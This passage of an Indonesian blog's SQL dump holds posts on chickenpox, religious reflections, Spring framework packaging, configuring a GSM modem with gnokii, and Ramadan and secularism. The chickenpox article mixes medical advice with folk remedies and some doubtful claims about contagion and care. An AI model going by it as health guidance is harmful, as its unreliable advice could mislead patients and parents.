sekaligus hati).\r\n\r\n Yang lebih mengkhawatirkan lagi, secara laten virus betah tinggal di dalam tubuh penderita selama bertahun-tahun. Pada saat daya tahan tubuh penderita melemah, muncullah infeksi sekunder dalam bentuk penyakit herpes zoster atau ruam saraf yang nyeri dan menular. Herpes zoster ini timbul dalam bentuk ruam memanjang pada bagian tubuh kanan saja atau kiri saja.\r\n\r\n\r\nIbu hamil waspada\r\n\r\n Cacar air tidak mengenal musim. Perbedaan mecolok pada kemungkinan timbulnya maupun tingkat penyebaran infeksi cacar air yang ditemukan di negara beriklim sedang dan tropis dipengaruhi oleh sifat virus yang rentan panas pada temperatur tinggi. Kelembaban udara yang tinggi cenderung mempercepat transmisi virus. Hal ini berkaitan erat dengan meningkatnya kasus-kasus infeksi yang terjadi pada musim panas.\r\n\r\n Hasil survai di Singapura antara tahun 1989 - 1990 terhadap anak-anak berusia 6 - 45 tahun menunjukkan bahwa 42,8% - 96% anak yang termasuk kelompok 0 - 4 tahun masih mudah terserang infeksi varisela. Di Saudi Arabia, survai menunjukkan secara keseluruhan tingkat penyebaran infeksi mencapai 79%. Di AS setiap tahun sekitar 3,7 juta kasus varisela dan sekitar 9.000 komplikasi cukup berat membutuhkan perawatan rumah sakit. \r\n\r\n Di Filipina tingkat kenaikan kasus yang ditemukan di setiap 100.000 penduduk adalah 5,4 (1971 menjadi 67,4 (1991). Sedangkan di Indonesia, sayang sekali, data tentang kasus penyakit varisela ini belum tercatat.\r\n\r\n Kasus kematian akibat penyakit cacar air yang tercatat di AS, tertinggi menyerang bayi kurang dari usia satu tahun (7,2/100.000 kasus) dan pada orang dewasa usia 20 tahun ke atas (30,9/100.000 kasus).\r\n\r\n Ibu hamil termasuk dalam kelompok orang dewasa yang rentan terhadap penyakit ini apabila di masa mudanya belum pernah mengalaminya. Bagi ibu hamil dengan usia kehamilan 1 hingga 3 bulan, memang bisa terjadi komplikasi terhadap janin bayi, seperti keguguran, kelahiran mati atau bayi terkena sindrom congenital varicella (infeksi pada janin kuartal pertama kehamilan) yang cukup berbahaya baik bagi sang janin maupun si ibu. Namun memang prevalensi ibu hamil penderita cacar air yang mendapat komplikasi ini masih rendah (sekitar 2 dari 100 kasus).\r\n\r\n Karena berdasarkan penelitian, wanita yang berasal darei negeri tropis maupun semi tropis sangat rentan terjangkit penyakit ini, maka wanita hamil Indonesia yang belum mengalami menderita cacar air pun harus tetap waspada.\r\n\r\n Beruntung belakangan ini telah dikembangkan vaksin pencegah cacar air. Dikembangkan pertama kali di Jepang oleh Prof. Takashashi pada tahun 70-an dari jaringan virus Oka, vaksin ini berisi virus varisela yang telah dilemahkan. Vaksin ini kemudian diluncurkan pada tahun 1984 dan mendapat lisensi di 10 negara untuk digunakan pada anak-anak. Namun karena kondisi penyimpanannya sulit (di bawah -20 C), penggunaan vaksin ini amat terbatas.\r\n\r\n Tahun 1995, diperkenalkan formula baru yang memiliki kemampuan dan keamanan yang sama tetapi dapat disimpan pada suhu +2 C - +8 C , sehingga dapat disimpan dalam lemari pendingin di rumah dan kondisi tetap stabil selama 2 tahun. Vaksin cacar air juga mulai beredar di Indonesia.\r\n\r\n\r\nDiberi vaksin\r\n\r\n Anak-anak maupun orang dewasa dapat memperoleh vaksin tersebut untuk mencegah cacar air. Dosis kecil (1 dosis) diberikan kepada anak sehat yang sekurang-kurangnya berusia 9 bulan - 12 tahun. Untuk para remaja (13 tahun ke atas) dan dewasa bisa diberikan dua dosis. Jarak dosis pertama dan kedua sekitar 4 - 8 minggu. Vaksin dapat juga diberikan pada saat si anak sedang terkena cacar air. Bila kita lupa apakah kita sudah pernah terserang cacar air, boleh juga memperoleh vaksin ini. Namun sebelumnya perlu di tes apakah kita alergi terhadap vaksin tersebut atau tidak. Penderita penyakit asma dan leukemia hendaknya tidak dianjurkan mendapat vaksin ini. Setelah mendapat vaksinasi sistem imun memerlukan waktu sekitar 2 minggu untuk membentuk perlindungan.\r\n\r\n Anak-anak di bawah usia 1 tahun ternyata paling rentan terhadap penyakit ini walaupun cacar air paling banyak menyerang anak usia 4 - 14 tahun. Walaupun cacar air merupakan penyakit yang sangat umum, hendaknya penderita diperiksakan ke dokter. Ia akan membantu penderita terhindar dari komplikasi dan mengurangi penderitaan. Pasien biasanya diberikan obat seperti Paracetamol untuk mengatasi sindrom demam. Sebaiknya orang tua penderita cacar air menolak saja kalau diberikan pengobatan simtomatis seperti aspirin dan jenis salisilat karena hanya efektif untuk jangka pendek dan dikhawatirkan malah menimbulkan komplikasi sindrom Reye.\r\n\r\n Untuk mengurangi rasa gatal, penderita diberi antihistamin hisap atau obat oles seperti lotion calamine. Bedak anti gatal juga bisa membantu mengurangi rasa gatal dan agar luka cepat kering. Jari kuku hendaknya dipotong pendek untuk mencegah terjadinya infeksi bakteri pada kulit yang gatal. Orang yang terinfeksi penyakit ini dianjurkan mandi teratur dan mengganti pakaian maupun sprei setiap hari.\r\n\r\n Begitu ditemukan gejala pertama, penderita hendaknya diisolasi selama 5 - 6 hari dan diteruskan hingga terjadi proses pengeringan. Jadi anak untuk sementara dianjurkan tidak ke sekolah sampai lesi mengering dan mengelupas. Saat terjadi proses pengeringan inilah cacar air dengan mudah menular pada orang lain. Untuk mencegah penularan. terutama pada bayi atau wanita hamil yang belum pernah terinfeksi, jauhkan mereka dari penderita paling tidak selama 21 - 28 hari.\r\n\r\n Selain berkonsultasi ke dokter, boleh juga mengikuti petunjuk turun temurun dari nenek moyang kita. Misalnya, minum air kelapa muda agar semua lesi keluar. Minum campuran telur dan madu untuk menurunkan demam dan mengeluarkan semua lesi. Kalau sampai terjadi infeksi, jangan mandi untuk mencegah pengelupasan lesi dengan paksa yang akan menimbulkan bekas. Kalau pun ingin mandi dianjurkan agar air mandi dicampur dengan daun Dadap Serep, atau dibubuhi sedikit disinfektan seperti soda bicarbonate atau sejenis yang lain.\r\n\r\n Berat atau ringan, berbahaya atau tidak, segala macam penyakit hendaknya ditangani secara saksama. Bantuan medis selalu diperlukan agar segala keluhan yang diserita dapat ditanggulangi segera! (Smith Kline Beecham/Nn)',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (52,'2007-09-26 18:18:06','Indahnya Cacar Air :)','Lho kok begitchuuuu....!\r\n\r\nSebelum ane bercerita, ane mau jujur dulu. Cacar Air ini mengingatkan ane waktu SUNATAN dulu, hehe. Kira-kira butuh tingkat kesabaran yang sama. weleh. Ane jadi salut ma temen-temen yang dah pada kena duluan, trus ane juga minta maaf hehe, PEACE MAN. Wekekek, dulu sering ngatain gini klo ada yang kena cacar air <b>\"Makanya klo mandi itu yang rutin, Mandi itu minimal 2X sehari, lah sampean malah kadang kurang dari minimal hihi\"</b>\r\n\r\nIndahnya Cacar Air :)\r\n1. Jadi ingat lagi nih, INGAT 5 PERKARA SEMBELUM 5 PERKARA \r\n(sehat sebelum sakit, kaya sebelum miskin, hidup sebelum mati, muda sebelum tua,.....)\r\n2. Jadi punya tips untuk menghilangkan rasa nyeri dan gatal(murah MAN). Baca Al Quran..! sebelum baca tarik napas dalam-dalam hilangkan indra perasa trus baca deh ayat Al Quran. Sangat membantu soalnya kita bakalan sibuk dengan napas lupa deh ma sakitnya.(iINI MASALAH KEYAKINAN LHO, klo ada yang gak sependapat mohon maaf. seperti trik buat ngambil INDRA ke 6 hehe jadi harus ada indra lain yang harus dikorbanin)\r\n3. Minta resep dokter sama obat tidur sekalian hehe. Kebetulan dokternya kemarin Pak Lek ane sendiri (Pak Gianto-->Matur Nuwun)\r\n',1,0,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (53,'2007-10-01 20:34:17','Biar Otak Selalu Ting..!','Biar Otak Selalu Ting..!\r\n\r\nHehe habis sakit nih bawaannya lemez ama pengen tidur teruss. Pas mau tidur lagi nglamun, pih klo ada Lelang ORGAN MANUSIA pasti OTAK ORANG INDONESIA akan ditawar paling mahal di acara lelang itu, hehe. KOK BISA Maat..? Ya iya soalnya OTAK ORANG INDONESIA paling jarang dipakek jadi masih ORISINIL, hihi ^_^\r\n<b>... yang tersinggung berarti ngerasa hehe ...</b>\r\n\r\n<i>\"Dan Allah mengeluarkan kalian dari perut ibu kalian dalam keadaan tiada mengilmui sesuatu apapun. Dan Allah menjadikan bagi kalian pendengaran, penglihatan dan akal agar kalian bersyukur.\"(An Nahl 78)</i>\r\nBagi kita yang mau sadar kita udah dikasih modal lho ma Allah, jadi ya terserah ma kita sendiri, kita mau manfaatin atau enggak.\r\n\r\nTragedi Orang-orang yang merasa dirinya dah Pandai, hehe. Saat kita merasa pandai saat itulah kita berhenti BELAJAR dan saat itu ILMU kita dicabut ma Allah, yah selesai sudah :(.\r\n<i>\"Maka apabila manusia ditimpa bahaya, ia menyeru Kami. Kemudian apabila Kami berikan padanya nikmat dari Kami, ia berkata, Sesungguhnya aku diberi nikmat itu karena kepintaranku. Sebenarnya itu adalah ujian, tetapi kebanyakan mereka tidak mengetahui.\"</i>(Az Zumar 49) Hmmm Subhanallah.\r\n\r\nLagi dengerin Nasid ane tulis sekalian, yak..!\r\n<i>Betapa kecil manusia di tengah haparan dunia\r\nKerugianlah bagi mereka yang tiada bersyukur mentafakkurinya\r\nBilakah hati manusia terbuka untuk Tuhannya\r\nKedamaianlah bagi mereka di saat jumpa denganNya\r\n(Suara Persaudaraan: Terminal Alam)</i>\r\n\r\nYah intinya jangan banyak nglamun, Yuuk..! isi Hati dan Otak kita dengan yang bermanfaat bagi kehidupan kita kelak. Jadi Orang Smart dan baik Hati itu gak ada ruginya yang jelas malah bikin banyak temen.',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (54,'2007-10-05 14:59:34','Understanding Spring Packaging','Understanding Spring Packaging\r\n\r\nBelajar Spring udah selesai biar gak lupa and biar tambah nyantholl ilmunya wehii-wehii, Yuuk kita simpulkan apa yang perlu kita ketahui tentang spring ini. Yang jelas untuk menggunakan Spring silahkan download dulu di <a href=\"http://www.springframework.org/download\" target=\"_blank\">http://www.springframework.org/download</a> hehe.\r\n\r\nThe Full Distribution\r\nPasti setalah kita downlod anda agak bingung ternyata cuma ada satu file .jar, nah emang itu adalah framework yang akan kita pakek. Tim pembuat framework Spring sendiri menjadikan berbagai macam modul-modul class yang dijadikan satu paket. Jika kita mendevelop menggunakan Eclipse dan Neatbeans, hehe jangan kuatir karena tiap method dan class yang ada akan tampil. Huuh inilah yang bikin seneng waktu coding gak perlu lagi baca dokumentasi classnya hihi. Trus yang jelas lagi kita gak bisa menambahkan Class dalam framework ini. Yah mungkin ide yang bagus dari Tim Spring sendiri jadi ketika kita bikin Aplikasi tidak menodai struktur framework yang ada hehe.\r\n\r\nThe Component Distributions\r\nDalam spring.jar nanti akan muncul 8 jenis class, yang terdiri dari 1 class tiruan(atau uji coba) bahasa kerennya itu mock classes, hehe. Dan 7 class yang berdiri sendiri, yah istilahnya komponen yang ada. Nah ini nanti yang akan kita bahas dibawah soalnya penting banget.\r\nNah 7 jenis komponen class itu adalah :\r\n1. spring-aop.jar\r\nKomponen ini digunakan bila kita membutuhkan Spring AOP feature(bila gak jelas tentang AOP boleh Google dulu sebentar, soalnya terlalu panjang untuk dibahas disini sory yak, hehe). Yang jelas anda akan membutuhkan komponen ini bila kita menggunkan AOP dalam merencanakan pembangunan aplikasi kita. Yah seperti memanagement deklarasi transaksi kita(klo bingung tolong diplajari sendiri aja, yak).\r\n2. spring-context.jar\r\nUntuk kebutuhan membuat EJB, JNDI, and mail integration \r\n3. spring-core.jar\r\nNah ini adalah file yang dibutuhkan segala aplikasi yang kita buat. Karena ini adalah inti dari Spring Framework.\r\n4. spring-dao.jar\r\nUntuk database DAO suport, pokoke for accessing data using JDBC and Spring\'s transaction abstraction layer.(walah)\r\n5. spring-mock.jar\r\nBuat testing aplikasi(coba ada explor dulu spring nanti akan tau kegunaanya class ini)\r\n6. spring-orm.jar\r\nThis JAR extends Spring\'s standard DAO feature set with support for Hibernate, iBATIS and JDO.(sebenernya ane pengen nulis blog pakek bahasa inggris semua, sekalian belajar wahaha)\r\n7. spring-web.jar\r\nDigunakan untuk Web Aplikasi\r\n8. spring-webmvc.jar\r\nNah ini klo kita bikin web yang berdasarkan framework MVC, ternyata Spring support juga. Klo yang belum paham MVC Google ya soalnya banyak banget penjalasannya dari pada ane yang jelasin malah gak dong klo di wiki dijelasin sampek detail dijamin jelas dah\r\n\r\nSaya rasa ini yang perlu kita tahu tentang struktur spring sekarang tinggal belajar penggunaanya dan latihan sana-sini udah deh selesai, Spring Ready to use, haha :D',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (55,'2007-10-11 10:40:38','Configuring iTegno 3000 with gnokii','Configuring iTegno 3000 with gnokii\r\n\r\nHi guys, in this time i want to share my experience on configuring iTegno 3000 with Linux.\r\n\r\nI have bought a RS232 GSM modem iTegno 3000 from Data Sari Citra.\r\nIf you are an Indonesian, you can buy this modem at\r\n\r\nEAZY PHONE\r\nITC Kuningan Lt.3 Blok C.1 No.3A\r\nPh 021 - 70233445\r\nFax 021 - 57934788\r\n\r\nBelow are the product specification :\r\n\r\nProduct Specification\r\nSize / Weight: 93mm x 64mm x 12mm / 58g\r\nEmbedded antenna\r\nGPRS Class 10:\r\nCoding scheme CS1 to CS4\r\nMax. packet-switched data transmission speed: 85.6kbps\r\nDual band GSM (ETSI GSM Phase 2+):\r\nClass 4 (2W @ 900Mhz)\r\nClass 1 (1W @ 1800Mhz)\r\n\r\nAfter download, configure, make and install gnokii. I\'m able to send a sms from gnokii CLI.\r\n\r\nYou can use this syntax from gnokii CLI for sending a sms :\r\n\r\nroot@asep-ubuntu:~# gnokii --sendsms +6285659969486\r\n\r\nThe gnokii identified iTegno 3000 as a Wavecom Modem\r\n\r\nroot@asep-ubuntu:~# gnokii --identify\r\n\r\nGNOKII Version 0.6.10\r\nLOG: debug mask is 0x1\r\nLOG: xdebug mask is 0x1\r\nphone instance config:\r\nmodel: AT\r\nport_device: /dev/ttyS0\r\nconnection_type: 0\r\ninit_length: 0\r\nserial_baudrate: 115200\r\nserial_write_usleep: -1\r\nhardware_handshake: 0\r\nrequire_dcd: 0\r\nsmsc_timeout: 100\r\nconnect_script:\r\ndisconnect_script:\r\nrfcomm_cn: 1\r\nsm_retry: off\r\nInitializing AT capable mobile phone ...\r\nSerial device: opening device /dev/ttyS0\r\nSerial device: setting RTS to high and DTR to high\r\nMessage sent: 0x00 / 0x0004\r\n41 54 5a 0d | ATZ\r\nwrite: [ATZ]\r\nread : [OK]\r\nMessage received: 0x00 / 0x0004\r\n02 4f 4b 0d | OK\r\nReceived message type 00\r\nMessage sent: 0x00 / 0x0005\r\n41 54 45 31 0d | ATE1\r\nwrite: [ATE1]\r\nread : [OK]\r\nMessage received: 0x00 / 0x0004\r\n02 4f 4b 0d | OK\r\nReceived message type 00\r\nMessage sent: 0x00 / 0x000a\r\n41 54 2b 43 4d 45 45 3d 31 0d | AT+CMEE=1\r\nwrite: [AT+CMEE=1]\r\nread : [AT+CMEE=1OK]\r\nMessage received: 0x00 / 0x0010\r\n02 41 54 2b 43 4d 45 45 3d 31 0d 0d 0a 4f 4b 0d | AT+CMEE=1 OK\r\nReceived message type 00\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 4d 4d 0d | AT+CGMM\r\nwrite: [AT+CGMM]\r\nread : [AT+CGMM MULTIBAND 900E 1800 OK]\r\nMessage received: 0x06 / 0x0029\r\n02 41 54 2b 43 47 4d 4d 0d 0d 0a 20 4d 55 4c 54 | AT+CGMM MULT\r\n49 42 41 4e 44 20 20 39 30 30 45 20 20 31 38 30 | IBAND 900E 180\r\n30 20 0d 0a 0d 0a 4f 4b 0d | 0 OK\r\nReceived message type 06\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 4d 49 0d | AT+CGMI\r\nwrite: [AT+CGMI]\r\nread : [AT+CGMI WAVECOM MODEMOK]\r\nMessage received: 0x06 / 0x0020\r\n02 41 54 2b 43 47 4d 49 0d 0d 0a 20 57 41 56 45 | AT+CGMI WAVE\r\n43 4f 4d 20 4d 4f 44 45 4d 0d 0a 0d 0a 4f 4b 0d | COM MODEM OK\r\nReceived message type 06\r\nMessage sent: 0x61 / 0x0009\r\n41 54 2b 43 53 43 53 3f 0d | AT+CSCS?\r\nwrite: [AT+CSCS?]\r\nread : [AT+CSCS?+CSCS: \"PCCP437\"OK]\r\nMessage received: 0x61 / 0x0023\r\n02 41 54 2b 43 53 43 53 3f 0d 0d 0a 2b 43 53 43 | AT+CSCS? +CSC\r\n53 3a 20 22 50 43 43 50 34 33 37 22 0d 0a 0d 0a | S: \"PCCP437\"\r\n4f 4b 0d | OK\r\nReceived message type 61\r\nInitialisation completed\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 4d 4d 0d | AT+CGMM\r\nwrite: [AT+CGMM]\r\nread : [AT+CGMM MULTIBAND 900E 1800 OK]\r\nMessage received: 0x06 / 0x0029\r\n02 41 54 2b 43 47 4d 4d 0d 0d 0a 20 4d 55 4c 54 | AT+CGMM MULT\r\n49 42 41 4e 44 20 20 39 30 30 45 20 20 31 38 30 | IBAND 900E 180\r\n30 20 0d 0a 0d 0a 4f 4b 0d | 0 OK\r\nReceived message type 06\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 4d 49 0d | AT+CGMI\r\nwrite: [AT+CGMI]\r\nread : [AT+CGMI WAVECOM MODEMOK]\r\nMessage received: 0x06 / 0x0020\r\n02 41 54 2b 43 47 4d 49 0d 0d 0a 20 57 41 56 45 | AT+CGMI WAVE\r\n43 4f 4d 20 4d 4f 44 45 4d 0d 0a 0d 0a 4f 4b 0d | COM MODEM OK\r\nReceived message type 06\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 4d 52 0d | AT+CGMR\r\nwrite: [AT+CGMR]\r\nread : [AT+CGMR543_09gg.Q2406A 1364028 020305 19:10OK]\r\nMessage received: 0x06 / 0x0036\r\n02 41 54 2b 43 47 4d 52 0d 0d 0a 35 34 33 5f 30 | AT+CGMR 543_0\r\n39 67 67 2e 51 32 34 30 36 41 20 31 33 36 34 30 | 9gg.Q2406A 13640\r\n32 38 20 30 32 30 33 30 35 20 31 39 3a 31 30 0d | 28 020305 19:10\r\n0a 0d 0a 4f 4b 0d | OK\r\nReceived message type 06\r\nMessage sent: 0x06 / 0x0008\r\n41 54 2b 43 47 53 4e 0d | AT+CGSN\r\nwrite: [AT+CGSN]\r\nread : [AT+CGSN351621000201970OK]\r\nMessage received: 0x06 / 0x0021\r\n02 41 54 2b 43 47 53 4e 0d 0d 0a 33 35 31 36 32 | AT+CGSN 35162\r\n31 30 30 30 32 30 31 39 37 30 0d 0a 0d 0a 4f 4b | 1000201970 OK\r\n0d |\r\nReceived message type 06\r\nIMEI : 123456789012345\r\nManufacturer : WAVECOM MODEM\r\nModel : MULTIBAND 900E 1800\r\nRevision : 543_09gg.Q2406A 1364028 020305 19:10\r\nSerial device: closing device\r\n\r\nBelow are a known .gnokiirc configuration that work with iTegno 3000 GSM modem :\r\n\r\n[global]\r\nport = /dev/ttyS0\r\nmodel = AT\r\ninitlength = default\r\nconnection = serial\r\nuse_locking = yes\r\nserial_baudrate = 115200\r\nhandshake = software\r\nsm_retry = 1\r\nsmsc_timeout = 10\r\n\r\n[gnokiid]\r\nbindir = /usr/local/sbin/\r\n\r\n[connect_script]\r\nTELEPHONE = 12345678\r\n[disconnect_script]\r\n\r\n[logging]\r\n\r\n# where to log the debug output (on: stderr, off: /dev/null)\r\ndebug = on\r\n\r\n# where to log the rlp debug output (on: stderr, off: /dev/null)\r\nrlpdebug = off\r\n\r\n# where to log X debug output (on: stderr, off: /dev/null)\r\nxdebug = on',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (56,NULL,'Dan Kurindu Hadirmu','Dan Kurindu Hadirmu\r\n[ria: riafariana@yahoo.com];http://studia-online.com; \r\n\r\nRindu Ramadhan meski kita masih ada di tengah-tengahnya. Merindu Ramadhan meski kita belum meninggalkan bulan mulia ini dan harus menunggu sebelas bulan ke depan. Ya, Ramadhan memang pantas untuk dirindu karena berjuta hikmah terkandung di dalamnya.\r\n\r\nRamadhan, suatu momen penempaan diri untuk menjadi manusia yang lebih baik. Bulan puasa untuk menahan diri dari semua hawa nafsu yang seringkali dominan pada diri kita. Bukan sekadar hawa nafsu untuk makan, minum dan syahwat yang harus ditahan, tapi nafsu-nafsu lain yang negatif dan nggak sesuai syariat juga harus dikontrol. Sehingga, selepas bulan Ramadhan, ajang latihan ini bisa langsung dipraktikkan dalam kehidupan sehari-hari. Manusia akan mencapai derajat muttaqin (orang-orang yang bertakwa). Insya Allah.\r\n\r\nNamun, kenapa eh kenapa ya, selepas bulan Ramadhan, lepas pula seluruh kontrol hawa nafsu tadi? Seakan-akan Idul Fitri yang menjadi penanda usainya Ramadhan, menjadi penanda kebebasan hawa nafsu. Bukannya (mengharap) bebas dari api neraka, tapi malah semangat kebebasan untuk melakukan maksiat seperti bulan-bulan sebelumnya. Duhhh….\r\n\r\nLalu, apa dong efek puasa kalau ternyata maksiat masih merajalela di bulan-bulan selepas Ramadhan? Terus, kenapa pula bisa terjadi kondisi demikian? Fenomena masyarakat jadi suka buah ‘tomat’ alias Ramadhan tobat, selepasnya jadi kumat kembali. Naudzhubillah. Yuk, kita telusuri ‘what dan why’ ini semua terjadi.\r\n“What” yang terjadi di bulan Ramadhan?\r\n\r\nRamadhan adalah ajang penempaan dan kontrol diri dari segala hawa nafsu manusia, itu idealnya. Faktanya ternyata Ramadhan adalah ajang TP alias Tebar Pesona selebritis untuk menjadi sedikit lebih alim dan taat. Yang termasuk golongan selebritis ini bukan sekedar artis loh, tapi bisa juga para pejabat dan politikus yang aji mumpung dengan datangnya Ramadhan. Kok bisa?\r\n\r\nPara artis, kita semua pasti paham banget kalo mereka sangat gembira dengan datangnya Ramadhan. Mau tobat dan insaf? Please deh, mereka malah kebanjiran job karena semua saluran TV siaran 24 jam nonstop untuk menemani pemirsa buka puasa dan sahur. Alih-alih semakin alim dan taat syariat, para selebritis dari kalangan artis ini dengan PD-nya bilang kalo mereka ‘dengan terpaksa’ membatalkan puasa bila memang dibutuhkan oleh tuntutan skenario.\r\n\r\nItu dari segi artisnya. Dari segi isi tayangan Ramadhan yang marak di TV, sangat jauh panggang dari api. Jauh banget dari mengajak permirsa untuk semakin bertakwa. Yang ada malah tayangan-tayangan nggak bermutu semacam Tassahur (Pentas Saat Sahur) yang berisi konser lenggok-lenggok umbar aurat. Belum lagi kuis yang ada juga sangat nggak mendidik. Bukannya memberi pertanyaan yang ada kaitannya dengan wawasan keislaman, tapi malah judul lagu-lagu dan nama artis yang jadi bahan kuis. Jadilah pemirsa makin hapal nama artis-artis dan lagu-lagunya daripada ayat-ayat al-Quran dan maknanya.\r\n\r\nItu dari selebritis kalangan artis. Sekarang coba kita tengok dari selebritis kalangan politisi. Tiba-tiba saja banyak di antara mereka yang mengadakan buka puasa bareng dengan kaum dhuafa. Bagus sih, tapi akan sangat jauh lebih bagus bila hak-hak kaum dhuafa ini juga diberikan bukan hanya berupa ajakan buka puasa bersama. Beri dong hak mereka berupa penyediaan lahan pekerjaan yang layak, jangan cuma memanjakan perusahaan-perusahaan asing seperti Exxon dan Freeport untuk mengeruk sumberdaya alam negeri ini. Beri juga mereka hak pendidikan dan kesehatan gratis. Itu hak masyarakat yang seharusnya diberikan bukan hanya di bulan Ramadhan berupa takjil gratis.\r\n\r\n“TUTUP” ditulis dengan huruf besar. “Selama bulan Ramadhan” ditulis dengan huruf kecil. Tulisan di atas sangat banyak dijumpai di lokalisasi pelacuran terbesar se-Asia Tenggara di daerah Surabaya. Duh…betapa inginnya satu hari nanti kita bisa membaca tulisan ini menjadi “TUTUP, SELAMANYA”.\r\n\r\nTernyata, para pejabat terhormat itu mempunyai kekuatan juga untuk menutup lokalisasi pelacuran. Jadi, bukannya tidak bisa tempat-tempat semacam itu ditutup selamanya kan? Yang tidak ada cuma satu, KEMAUAN. Nah, di momen Ramadhan ini seharusnya kemauan itu harus mulai ditumbuhkan. Agar nggak sia-sia kita berpuasa selama satu bulan ini. Seperti yang dinyatakan oleh Rasul tercinta bahwa betapa banyak di antara kita yang puasanya tidak mendapat apa-apa kecuali lapar dan dahaga. Naudzhubillah.\r\n“Why” ini terjadi?\r\n\r\nKelakuan para selebritis dari kalangan artis dan politisi, terjadi bukan tanpa sebab. Mereka hanya korban saja kok. Loh, kalo mereka korban, terus siapa dong biang keroknya?\r\n\r\nSekulerisme. Inilah biang kerok sebenarnya sebagai ide dasar dari kapitalisme. Sekularisme yang jelas-jelas memisahkan agama dari kehidupan merupakan akar masalah yang menyebabkan Ramadhan kehilangan makna. Artis-artis dan para pejabat menjadi saleh dadakan. Mereka jadi fasih menyebut lafadz-lafadz Islam di bulan Ramadhan. Tapi kondisi ini jadi berubah begitu Ramadhan berlalu. Maka sungguh, seandainya semua bulan adalah Ramadhan, tentu kesalehan ini akan bertahan selamanya.\r\n\r\nTapi apa bisa semua bulan adalah Ramadhan? Sedangkan hari saja bisa berganti malam, muda bisa berubah jadi tua, hidup ada saatnya untuk mati. Ternyata perubahan adalah sebuah keharusan dalam kehidupan. Maka bukanlah Ramadhan yang seharusnya diandaikan selamanya, tapi kesalehan sebulan itu yang seharusnya dijadikan dua belas bulan dalam setahun. Apa bisa?\r\n\r\nBisa banget! Kalau wajah palsu para selebritis artis dan pejabat adalah akibat sekulerisme, maka artinya harus ada wajah asli dari mereka semua. Wajah asli yang bersih tanpa noda. Wajah asli seorang hamba dari Sang Mahapencipta dan pengatur kehidupan. Wajah asli dari sosok manusia yang sadar akan kemanusiaannya.\r\n\r\nBila kapitalisme yang menjadikan materi sebagai berhala modern adalah ideologi penyebab ini semua, maka sudah saatnya kita bertanya: pantaskah ia dipertahankan? Atau adakah jalan keluar lainnya agar Ramadhan bukan sekadar bulan tebar pesona? Bisakah Ramadhan sungguh-sungguh memberi efek nyata bagi kehidupan?\r\nSekulerisme? Campakkan!\r\n\r\nSekulerisme yang menjadi asas bagi Kapitalisme sudah jelas kerusakannya bagi kehidupan. Paham ini meniadakan Tuhan sebagai pengatur kehidupan. Akal manusia menjadi berhala baru untuk sok jadi pembuat peraturan. Inilah yang menjadikan Ramadhan ternoda dan kehilangan makna.\r\n\r\nRamadhan dianggap bulan ibadah. Bulan lain selepas Ramadhan dianggap bulan bukan ibadah. Maka itu artinya semua kemaksiatan jadi boleh. Perzinaan dilindungi undang-undang. Minuman keras mempunyai izin usaha. Korupsi dianggap salah prosedur. Repot memang bila Islam hanya dijadikan stempel di KTP saja. Namun pemikiran dan prilaku sangat jauh dari aturan syariat Islam.\r\n\r\nTak heran bila Ramadhan dari tahun ke tahun tidak membuat bangsa ini dan orang-orangnya berubah jadi baik. Yang ada hanya kemunduran dan keterpurukan yang semakin menjadi-jadi. Karena sungguh, Islam adalah ad-diin alias the way of life (baca: ideologi). Bila Islam hanya diambil separuh-separuh, bukannya bermanfaat tapi malah seringkali jadi kambing hitam atas semua masalah. Padahal sudah nyata terbukti, Islam akan memberi rahmat bagi semua bila ia diambil total tanpa pilih-pilih hukum. Ingat, 14 abad lamanya Khilafah Islam tegak dan berjaya ketika syariat diterapkan.\r\n\r\nRamadhan akan terlihat efeknya bila saja selepas Ramadhan, penduduk negeri ini mempunyai kesalehan yang sama dengan di bulan puasa. Tidak boleh ada lagi pembedaan antara bulan Ramadhan dengan bukan Ramadhan. Bila lokalisasi ditutup selama bulan Ramadhan, maka itu artinya ia harus ditutup juga di luar bulan Ramadhan.\r\nRamadhan, bulan perubahan\r\n\r\nHarus ada yang berubah selepas Ramadhan. Harus ada efek yang membekas pertanda kita pernah berpuasa di bulan Ramadhan. Agar di saat Idul Fitri nanti, kita pantas menyandang predikat muttaqin (orang-orang yang bertakwa) dan menjadi orang yang menang.\r\n\r\nIndahnya Ramadhan, tak akan pernah memberi efek nyata bagi kehidupan bila tak ada kemauan dari semua pihak untuk menjaga prilaku saleh di bulan lain. Saya individu ingin bertahan baik. Kamu juga sama. Tapi itu tak cukup bila masyarakat kita tidak mendukung niat baik ini. Bila pun masyarakat sudah mendukung niat baik dan menolak kemaksiatan tidak hanya di bulan Ramadhan, masih ada satu lagi pihak yang ketinggalan. Siapakah dia?\r\n\r\nPenguasa negara beserta kewenangan yang dipunyainya. Mereka ini yang mempunyai wewenang untuk menutup atau memberi izin atas sesuatu, termasuk buka atau tutupnya tempat perzinaan terbesar di Asia Tenggara. Akan sangat timpang bila masyarakat menolak, tapi kemaksiatan itu sendiri mempunyai izin dari penguasa daerah untuk beroperasi.\r\n\r\nJadi tidak bisa tidak, para pejabat berwenang, masyarakat serta individu harus bergandengan tangan. Kita tidak ingin momen Ramadhan ini berlalu sia-sia. Kita tidak ingin bencana alam akan semakin sering menghampiri negeri ini karena kelalaian kita. Yuk, saatnya kita introspeksi diri di Ramadhan tahun ini.\r\nKurindu Ramadhan\r\n\r\nKetika hari demi hari, detik demi detik Ramadhan berjalan menuju penghujung waktu, ada getir di sana. Seperti kata Rasulullah tercinta bahwa seandainya saja manusia tahu keistimewaan bulan Ramadhan, pastilah mereka akan meminta semua bulan adalah Ramadhan. Terlebih lagi saat ini. Ketika perbedaan antara Ramadhan dengan bulan lain begitu jelas terasa, maka sunguh, ingin sekali semua bulan adalah 